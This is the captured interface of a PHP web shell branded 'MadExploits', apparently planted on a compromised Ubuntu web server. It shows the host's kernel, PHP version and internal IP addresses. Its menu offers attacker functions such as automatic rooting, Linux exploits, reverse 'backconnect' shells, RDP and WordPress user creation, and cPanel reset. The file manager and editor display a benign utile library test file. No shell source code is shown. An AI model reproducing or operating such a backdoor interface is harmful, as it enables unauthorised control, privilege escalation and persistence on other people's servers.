Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
utile /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
fixtures
[ DIR ]
drwxrwxr-x
helpers
[ DIR ]
drwxrwxr-x
file-test.js
818
B
-rw-rw-r--
format-test.js
704
B
-rw-rw-r--
function-args-test.js
2.75
KB
-rw-rw-r--
random-string-test.js
1.17
KB
-rw-rw-r--
require-directory-test.js
1.05
KB
-rw-rw-r--
utile-test.js
3.14
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : function-args-test.js
/* * function-args-test.js: Tests for `args` method * * (C) 2012, Nodejitsu Inc. * MIT LICENSE * */ var assert = require('assert'), path = require('path'), vows = require('vows'), macros = require('./helpers/macros'), utile = require('../'); vows.describe('utile/args').addBatch({ 'When using utile': { 'the `args` function': { topic: utile, 'should be a function': function (_utile) { assert.isFunction(_utile.args); }, } }, 'utile.rargs()': { 'with no arguments': { topic: utile.rargs(), 'should return an empty object': function (result) { assert.isArray(result); assert.lengthOf(result, 0); } }, 'with simple arguments': { topic: function () { return (function () { return utile.rargs(arguments); })('a', 'b', 'c'); }, 'should return an array with three items': function (result) { assert.isArray(result); assert.equal(3, result.length); assert.equal(result[0], 'a'); assert.equal(result[1], 'b'); assert.equal(result[2], 'c'); } }, 'with a simple slice': { topic: function () { return (function () { return utile.rargs(arguments, 1); })('a', 'b', 'c'); }, 'should return an array with three items': function (result) { assert.isArray(result); assert.equal(2, result.length); assert.equal(result[0], 'b'); assert.equal(result[1], 'c'); } } }, 'utile.args()': { 'with no arguments': { topic: utile.args(), 'should return an empty Array': function (result) { assert.isUndefined(result.callback); assert.isArray(result); assert.lengthOf(result, 0); } }, 'with simple arguments': { topic: function () { return (function () { return utile.args(arguments); })('a', 'b', 'c', function () { return 'ok'; }); }, 'should return an array with three items': function (result) { assert.isArray(result); assert.equal(3, result.length); assert.equal(result[0], 'a'); assert.equal(result[1], 'b'); assert.equal(result[2], 'c'); // // Ensure that the Array returned // by `utile.args()` enumerates correctly // var length = 0; result.forEach(function (item) { length++; }); assert.equal(length, 3); }, 'should return lookup helpers': function (result) { assert.isArray(result); assert.equal(result.first, 'a'); assert.equal(result.last, 'c'); assert.isFunction(result.callback); assert.isFunction(result.cb); } } } }).export(module);
Close